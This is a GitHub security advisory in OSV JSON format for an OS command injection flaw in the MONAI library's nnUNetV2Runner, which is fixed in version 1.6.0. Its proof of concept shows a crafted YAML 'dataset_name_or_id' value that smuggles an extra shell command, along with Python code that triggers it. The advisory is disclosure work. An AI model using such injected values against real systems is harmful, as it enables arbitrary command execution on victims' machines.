GHSA-rghg-q7wp-9767: MONAI MONAI Vulnerable To OS Command Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-rghg-q7wp-9767",
  "modified" : "2026-08-18T20:22:38Z",
  "published" : "2026-08-18T20:22:38Z",
  "aliases" : [ ],
  "summary" : "MONAI vulnerable to OS command injection",
  "details" : "### Comment from JPCERT/CC\nWe are submitting the report again as we have yet to receive\nany responses from you after submitting it on February 5 and March 11.\n\nIt would be greatly appreciated if you could send us a message\nafter confirming it so that we can follow up the case by email.\n\n### Summary\nMONAI vulnerable to OS command injection.\n\n### Details\nThis library concatenates user-controlled values (YAML's\n\"dataset_name_or_id\" or part of \"CLI/kwargs\")\nwithout quoting or validation. Since this string is passed to subprocess\nwith shell=True,\nshell metacharacters (e.g., Windows: & / Linux: ;) are interpreted.\n\nAs a result, arbitrary commands can be concatenated and executed.\nTherefore, the reporter identifies this as CWE-78 (OS Command Injection).\n\nThe victim needs to load a crafted YAML file in the code that launches\ntraining/validation jobs\nbased on the configuration (YAML/arguments). There are no other constraints.\n\n### PoC\nVerified on Windows.\nLoad a modified YAML file with crafted \"dataset_name_or_id\" as follows.\nAdd command separator characters (such as & or ;) and insert arbitrary\ncommands.\n\ndataset_name_or_id: '4 & echo \"This is exploited\" >\n\"C:\\Users\\shima\\OneDrive\\Desktop\\tmp\\test.txt\" & rem'\ndataroot: C:/Users/shima/OneDrive/Desktop/tmp/data\ndatalist: C:/Users/shima/OneDrive/Desktop/tmp/lists/task4.json\nwork_dir: C:/Users/shima/OneDrive/Desktop/tmp/work\nnnunet_raw: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_raw\nnnunet_preprocessed: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_preprocessed\nnnunet_results: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_results\n\nAs a victim, verify running the following Python code to load and\nprocess the YAML file.\n\nfrom monai.apps.nnunet.nnunetv2_runner import nnUNetV2Runner\nfrom pathlib import Path\n#Path of the crafted YAML file\nYAML = r\"C:\\Users\\shima\\OneDrive\\Desktop\\tmp\\test.yaml\"\n#Text file overwritten when command executes\nOUT  = Path(r\"C:\\Users\\shima\\OneDrive\\Desktop\\tmp\\test.txt\")\n#Read YAML\nrunner = nnUNetV2Runner(input_config=YAML,\ntrainer_class_name=\"nnUNetTrainer\")\nrunner.train_single_model(config=\"3d_fullres\", fold=0, gpu_id=0)\n#Verify command execution\nprint(\"Result:\", OUT.read_text(encoding=\"utf-8\").strip())\n\nAlso, see the attached file.\n[JVN#50379904-details.zip](https://github.com/user-attachments/files/26231614/JVN.50379904-details.zip)",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "MONAI"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.6.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-rghg-q7wp-9767"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Project-MONAI/MONAI/pull/8885"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Project-MONAI/MONAI"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Project-MONAI/MONAI/releases/tag/1.6.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-18T20:22:38Z",
    "nvd_published_at" : null
  }
}